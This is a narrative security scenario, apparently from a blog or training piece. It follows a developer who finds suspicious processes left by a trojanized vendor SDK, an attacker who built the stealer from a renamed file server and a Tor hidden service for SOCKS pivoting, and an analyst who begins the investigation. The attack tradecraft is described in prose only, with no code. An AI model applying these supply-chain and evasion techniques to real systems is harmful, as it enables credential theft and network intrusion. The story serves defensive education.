By 9:30 AM, Jordan was ready for the day to be over. The morning had started with a failed multi-factor authentication (MFA) login, which meant she had to call the help desk to get it sorted. After that, it was a series of emails from the project manager calling everyone into a last-minute stand-up meeting to discuss the latest integration project with the legacy logistics provider, Gilded Freight. No one cut Jordan any slack for being late because of the MFA issue. The project manager was already on a roll, outlining the project timeline and deliverables. NovaRise was a good place to work, but Jordan was ready for a break.

Jordan worked on the NovaFlow team, a platform that used real-time analytics and machine learning to optimize delivery routes and predict and report on shipping delays. Others had done it before, but NovaFlow developed technology that provided near-instant route recalculations when shipping conditions changed. This was a big value proposition for smaller businesses that couldn’t afford an AWS bill of $100,000/month for enterprise-grade solutions.

The NovaFlow proprietary algorithm was the secret sauce that set them apart from the competition, enabling them to gobble up market share at an accessible cost. With the integration of this latest legacy logistics provider, NovaRise was poised to expand its reach and start to threaten the bigger players in the market.

Jordan didn’t get involved with most of the larger business goals. As a cloud solutions architect, Jordan focused on backend infrastructure, ensuring the platform could scale to meet growing demand. Most of the time, that wasn’t a problem, except for integrations with third-party vendors.

NovaFlow was built on a microservices architecture, which made it easy to plug in new features and services. Infrastructure cloud services handled most of the heavy lifting, but the team relied on third-party vendors for specialized services like geolocation data, weather forecasts, traffic reporting, and carrier tracking. Most of Jordan’s day was spent troubleshooting integration issues, updating APIs, and monitoring service performance. Jordan had gotten pretty good at taking ridiculous API designs from Software-as-a-Service (SaaS) vendors and making them work with NovaFlow’s architecture. Jordan was the company’s go-to for shoehorning poorly planned API designs into a RESTful architecture.

The latest integration project for Jordan was Gilded Freight, a legacy logistics provider. To make the transition easier, Jordan’s assignment was to make the Gilded Freight API work with NovaFlow’s backend. Gilded’s API was a mess, but Jordan had seen worse.

A hodgepodge of SOAP and RESTful services, with a few nonsensical endpoints thrown in for good measure, the Gilded API was a relic from the early 2000s. Mostly, it returned a mix of XML and JSON responses, with a few endpoints that returned CSV data. After figuring the endpoints out (despite nonexistent documentation, thank you very much), Jordan’s work made it a simple lift-and-shift to integrate Gilded services.

Jordan was keeping tabs on any issues that popped up during the transition and was working on Confluence documentation and unit tests so future Jordans wouldn’t have to deal with the same mess. When Jordan started the container for the dev API endpoint on port 8080, though, her day was about to get more difficult.

Jordan looked at the error for a while. Mapping the local port 8080 to the container’s port 80 should have worked without error. She checked the process list to see what was using port 8080.

Jordan remembered the quip Linux is user-friendly, but it’s picky about who its friends are. The ms process could be anything, but it appeared to be a web server (port 8080) running on the local loopback interface. This meant that only processes running on the local machine could access port 127.0.0.1:8080. Jordan checked the process list for PID 18450 to gather more information.

The ms process was part of the Gilded Freight SDK. Funny, Jordan hadn’t noticed that before. Jordan checked the parent process ID 18449 to see what was running it.

The parent process for ms was a script called gilded-sdk-update. Jordan had seen that script distributed with the Gilded SDK, but didn’t realize it was still running. She checked for other processes related to the update script.

The gilded-sdk-update script had two child processes: ms and ssupd. On a whim, Jordan looked at the listening ports for any of the three process names.

This was not good. The ssupd process was listening on port 9150, bound to all interfaces. This meant that other people could connect to that service from external workstations, unlike the ms service bound to 127.0.0.1.

Jordan didn’t like this. It wasn’t clear what the ssupd process was doing, but there was no reason for it to be running on the local machine. The earlier shell script, gilded-sdk-update, might provide some answers.

Jordan wasn’t sure what to make of that output, except for one thing: it looked sus. Just as no one had cut her slack for being late to the stand-up meeting, Jordan knew the PM wasn’t going to be receptive to any delays. So, it was time to get back to work.

Jordan terminated the ms, ssupd, and gilded-sdk-update processes. Sporadic checks throughout the day revealed they hadn’t started back up again.

After a few moments of reflection, Jordan took one more step to clean up.

After stopping the TCP/8080 listener and removing the SDK code, Jordan could start the Docker container and get back to work.

Six hundred miles away, a notification lit up Pyrix’s stealer console. A new workstation checked in.

While others were focused on targeting clients, Pyrix preferred to let the clients come to him. He had a process:

The process was patient by design, trading speed for scale and repeatability. It was a routine that had worked well, targeting mostly Linux and macOS developers for access. Windows EDRs were a hassle. Why get burned by Windows endpoint monitoring when you could just target the developers with Linux and macOS machines?

This time, Pyrix targeted Gilded Freight, a trucking company turned big-tech outfit. In exchange for some code he had lying around, Pyrix convinced his IAB to share VPN credentials for an offshore Gilded Freight developer account. From there, a reliable Jenkins bug supplied access to the SCM. Now it was time to add the stealer code.

Pyrix scoffed at the efforts other attackers used to avoid detection with bloated client-side stealers. "When you add 50MB of bloat and a thousand libraries, yeah, you’re going to get caught." Pyrix preferred a minimalist approach.

Instead of trying to integrate all the logic to steal data into the SDK, Pyrix added two primary functions to the Linux SDK installer script:

The web server was MiniServe, a minimal web server that served filesystem content easily. Pyrix used a set of match-and-replace rules to modify the MiniServe source code strings and compiled a new binary to evade simple signature checks. Tor ensured that all traffic was anonymized, and the web server was accessible only from the local machine. Renaming the Tor client to ssupd gave it the air of legitimacy without any additional fuss.

The Tor configuration was the piece that made the stealer more than a file browser. Pyrix configured ssupd.rc to expose a hidden service with two ports: one mapping to MiniServe for filesystem access, and another mapping to Tor’s own SOCKS listener. By binding the SOCKS port to all interfaces (0.0.0.0:9150) instead of the default localhost, Pyrix ensured that the same Tor process served as both a network pivot and a SOCKS proxy. Through the hidden service SOCKS port, Pyrix could route arbitrary TCP connections through the victim’s workstation into whatever internal network it sat on. SSH, database connections, API calls: anything reachable from the workstation was reachable from Pyrix.

The only remaining piece was the shell script to start the services and notify the server-side stealer.

cURL used the victim proxy to send the notification to the server-side stealer over Tor. Using bash-obfuscate, Pyrix modified the script to make it harder to read.

Modifying the installer script enabled Pyrix to deploy the stealer during new installations or updates of the Gilded Freight SDK. When victims installed the SDK, the stealer would start up and send a notification to Pyrix’s server.

Each entry on the server is linked to the client-side onion URL, allowing him to navigate the victim filesystem anonymously.

With access to the victim’s filesystem, he could browse and download any files of interest. Thanks to MiniServe, sending a request to the victim /upload endpoint with the path parameter also allowed arbitrary file uploads. This was fine for one-off interactions, but the real opportunity was in automation.

Pyrix sat back, pleased with this result. SSH keys, a MySQL database root password, and AWS credentials. Three paths into the network, all from a single developer workstation.

Time to get to work.

Sam had been on-call for three quiet days when the ticket landed in his queue. Six years in security operations had taught him to take every ticket seriously, even the low-priority ones. This one was categorized under SOFTWARE_ISSUE, filed by a cloud solutions architect named Jordan. The ticket described an SDK that had installed unexpected background processes on her workstation. Jordan noted that she had already terminated the processes and removed the SDK, and she had been heads-down on an integration project since the incident six days earlier.

Sam was methodical, and something about the SDK processes didn’t sit right. He started with a brief call to Jordan to understand what she had observed.

Jordan walked him through the timeline: the port conflict on 8080, the ms and ssupd processes, the weird shell script, and the steps she took to stop the processes and remove the SDK directory. She mentioned she hadn’t seen the processes return after termination. Sam thanked her and began his investigation.